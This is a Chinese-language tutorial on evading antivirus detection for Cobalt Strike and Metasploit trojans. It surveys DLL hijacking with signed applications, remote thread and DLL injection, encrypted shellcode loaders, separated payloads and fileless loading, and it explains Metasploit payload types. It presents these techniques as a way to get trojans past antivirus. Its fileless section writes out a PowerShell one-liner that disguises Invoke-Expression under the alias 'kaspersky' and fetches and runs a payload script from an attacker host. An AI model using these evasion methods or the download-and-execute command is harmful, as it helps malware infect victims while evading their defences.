0x01. bypass基础
1.编程基础
2.系统配置vs2019
3.测试木马上线环境
4.对shellcode有所了解
1. 简答介绍
bypass技术称之为反杀毒技术,指的是可以能将我们shellcode逃过杀毒软件的检测,这种技术被红队广泛使用,其中最常见的就是cs木马免杀,cs木马免杀技术有很多种,其中包括 :
- 白加黑
- 远程线程注入
- dll注入
- 无文件落地
- shellcode加载器
- 分离免杀
- 等等花式免杀思路
2. metasploit三种payload类型
Metasploit框架中有三种不同类型的Payloads模块:Singles, Stagers,和Stages。这些不同的类型可以提供很多的多功能性,并且可以在多种类型的场景中使用。
目前了解一下即可
Singles(独立载荷)
- Singles是独立的和完全独立的payload。一个Single payload可以是将用户添加到目标系统或运行CALC.EXE简单的东西。
tagers(传输器载荷)
- tagers设置攻击者和受害者之间的网络连接,并设计为小巧可靠。很难总是做到这一点,所以结果是多个类似的tagers。Metasploit会尽可能使用最好的一个,并在需要时回退到较不偏好的一个。
Stages(传输体载荷)
- Stages是通过Stagers模块下载的payload组件。各种payload Stages提供了无尺寸限制的高级功能,如Meterpreter,VNC Injection和iPhone'ipwn' Shell。
3. 世界杀毒网
VirusTotal,是一个提供免费的可疑文件分析服务的网站。2004年6月由创始人Hispasec Sistemas创立。
免费的多引擎可疑文件扫描服务,可以通过多个引擎检测单一的可疑、病毒、木马、恶意等程序
0x02. 载荷bypass
1. 白加黑免杀
所谓的白是指的那些正常应用程序的特征,比如使用:微信、QQ的数字签名。
所谓的黑就是用msf或者其他程序生成的“恶意程序”,我们可以使用白加黑的方式来绕过杀软
使用正常的程序加载恶意的dll文件 , 像这种劫持dll文件 , 可以用于白加黑,也可以用于权限维持
2. 远程线程注入
远程线程注入是将一段恶意代码或者shellcode注入到另一个程序里面,这样的话可以达到-·定的免杀效果,一般大部分远程线程注入的目标程序是: calc.exe
x
DLL注入技术一般来讲是向一个正在运行的进程插入/注入代码的过程 , 我们注入的代码以动态链接库(DLL)的形式存在,DLL文件在运行时将按需加载(类似unix中的共享库)(share object,扩展名为.so文件)
regsvr32即可运行测试dll文件,下面,我们就来演示一下dll文件的注入。
4. 无文件落地免杀技术
无文件落地免杀技术是通过文件还没有下载到磁盘而是直接加入内存里面,无文件落地免杀有很多种,最常见的是powershell,直接载入内存里面,不于本地文件做交互
命令如下 :
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-ObjectNet.WebClient).DownloadString('http://192.168.0.133/payload.ps1')
5. shellcode加载器
首先我们来了解一下shellcode, shellcode是汇编的一个指令集,恶意的shellcode一旦被加载内存中会被CPU执行,之后就会作出相应的指令反弹shel, shellcode加载器是用来解释shellcode加载到内存中的。
现在大部分shellcode加载器都会将shellcode进行加密之后再解释到内存中,如果是明文shellcode很容易被查杀出来。
6. 分离免杀
分离免杀是将程序将要执行的代码,或远端的shellcode不与程序本体在一起的方式将做分离免杀,分离的前提是,程序的本体必须能够得到载荷,否则程序可能崩溃